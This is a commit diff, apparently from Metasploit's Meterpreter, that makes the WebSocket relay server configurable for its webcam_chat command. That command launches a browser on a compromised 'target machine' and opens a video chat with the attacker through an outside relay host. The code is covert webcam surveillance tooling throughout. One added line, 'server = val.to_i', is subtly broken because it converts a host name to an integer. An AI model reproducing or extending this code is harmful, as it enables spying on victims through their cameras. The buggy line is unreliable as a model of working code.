Make server configurable
parent
7eb20a37d4
commit
750ce3c4db
|
@ -73,7 +73,7 @@
|
||||||
}
|
}
|
||||||
|
|
||||||
var channel = '=CHANNEL=';
|
var channel = '=CHANNEL=';
|
||||||
var websocket = new WebSocket('ws://wsnodejs.jit.su:80');
|
var websocket = new WebSocket('ws://=SERVER=');
|
||||||
var inSession = false;
|
var inSession = false;
|
||||||
|
|
||||||
websocket.onopen = function() {
|
websocket.onopen = function() {
|
||||||
|
|
|
@ -87,7 +87,7 @@
|
||||||
<script src="api.js"> </script>
|
<script src="api.js"> </script>
|
||||||
<script>
|
<script>
|
||||||
var channel = '=CHANNEL=';
|
var channel = '=CHANNEL=';
|
||||||
var websocket = new WebSocket('ws://wsnodejs.jit.su:80');
|
var websocket = new WebSocket('ws://=SERVER=');
|
||||||
|
|
||||||
websocket.onopen = function() {
|
websocket.onopen = function() {
|
||||||
websocket.push(JSON.stringify({
|
websocket.push(JSON.stringify({
|
||||||
|
|
|
@ -56,7 +56,7 @@ class Webcam
|
||||||
true
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
def webcam_chat
|
def webcam_chat(server)
|
||||||
offerer_id = Rex::Text.rand_text_alphanumeric(10)
|
offerer_id = Rex::Text.rand_text_alphanumeric(10)
|
||||||
channel = Rex::Text.rand_text_alphanumeric(20)
|
channel = Rex::Text.rand_text_alphanumeric(20)
|
||||||
|
|
||||||
|
@ -66,8 +66,8 @@ class Webcam
|
||||||
raise RuntimeError, "Unable to find a suitable browser on the target machine"
|
raise RuntimeError, "Unable to find a suitable browser on the target machine"
|
||||||
end
|
end
|
||||||
|
|
||||||
ready_status = init_video_chat(remote_browser_path, channel, offerer_id)
|
ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
|
||||||
connect_video_chat(channel, offerer_id)
|
connect_video_chat(server, channel, offerer_id)
|
||||||
end
|
end
|
||||||
|
|
||||||
# Record from default audio source for +duration+ seconds;
|
# Record from default audio source for +duration+ seconds;
|
||||||
|
@ -141,10 +141,11 @@ class Webcam
|
||||||
# @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
|
# @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
|
||||||
# @param offerer_id [String] A ID that the answerer can look for and join
|
# @param offerer_id [String] A ID that the answerer can look for and join
|
||||||
#
|
#
|
||||||
def init_video_chat(remote_browser_path, channel, offerer_id)
|
def init_video_chat(remote_browser_path, server, channel, offerer_id)
|
||||||
interface = load_interface('offerer.html')
|
interface = load_interface('offerer.html')
|
||||||
api = load_api_code
|
api = load_api_code
|
||||||
|
|
||||||
|
interface = interface.gsub(/\=SERVER\=/, server)
|
||||||
interface = interface.gsub(/\=CHANNEL\=/, channel)
|
interface = interface.gsub(/\=CHANNEL\=/, channel)
|
||||||
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
|
interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
|
||||||
|
|
||||||
|
@ -195,7 +196,7 @@ class Webcam
|
||||||
# @param offerer_id [String] The offerer's ID in order to join the video chat
|
# @param offerer_id [String] The offerer's ID in order to join the video chat
|
||||||
# @return void
|
# @return void
|
||||||
#
|
#
|
||||||
def connect_video_chat(channel, offerer_id)
|
def connect_video_chat(server, channel, offerer_id)
|
||||||
interface = load_interface('answerer.html')
|
interface = load_interface('answerer.html')
|
||||||
api = load_api_code
|
api = load_api_code
|
||||||
|
|
||||||
|
@ -204,6 +205,7 @@ class Webcam
|
||||||
tmp_api.write(api)
|
tmp_api.write(api)
|
||||||
tmp_api.close
|
tmp_api.close
|
||||||
|
|
||||||
|
interface = interface.gsub(/\=SERVER\=/, server)
|
||||||
interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
|
interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
|
||||||
interface = interface.gsub(/\=RHOST\=/, rhost)
|
interface = interface.gsub(/\=RHOST\=/, rhost)
|
||||||
interface = interface.gsub(/\=CHANNEL\=/, channel)
|
interface = interface.gsub(/\=CHANNEL\=/, channel)
|
||||||
|
|
|
@ -137,9 +137,29 @@ class Console::CommandDispatcher::Stdapi::Webcam
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
|
server = 'wsnodejs.jit.su:80'
|
||||||
|
|
||||||
|
webcam_chat_opts = Rex::Parser::Arguments.new(
|
||||||
|
"-h" => [ false, "Help banner"],
|
||||||
|
"-s" => [ false, "WebSocket server" ]
|
||||||
|
)
|
||||||
|
|
||||||
|
webcam_chat_opts.parse( args ) { | opt, idx, val |
|
||||||
|
case opt
|
||||||
|
when "-h"
|
||||||
|
print_line( "Usage: webcam_chat [options]\n" )
|
||||||
|
print_line( "Starts a video conversation with your target." )
|
||||||
|
print_line( webcam_chat_opts.usage )
|
||||||
|
return
|
||||||
|
when "-s"
|
||||||
|
server = val.to_i
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
print_status("Video chat session initialized.")
|
print_status("Video chat session initialized.")
|
||||||
client.webcam.webcam_chat
|
client.webcam.webcam_chat(server)
|
||||||
rescue RuntimeError => e
|
rescue RuntimeError => e
|
||||||
print_error(e.message)
|
print_error(e.message)
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue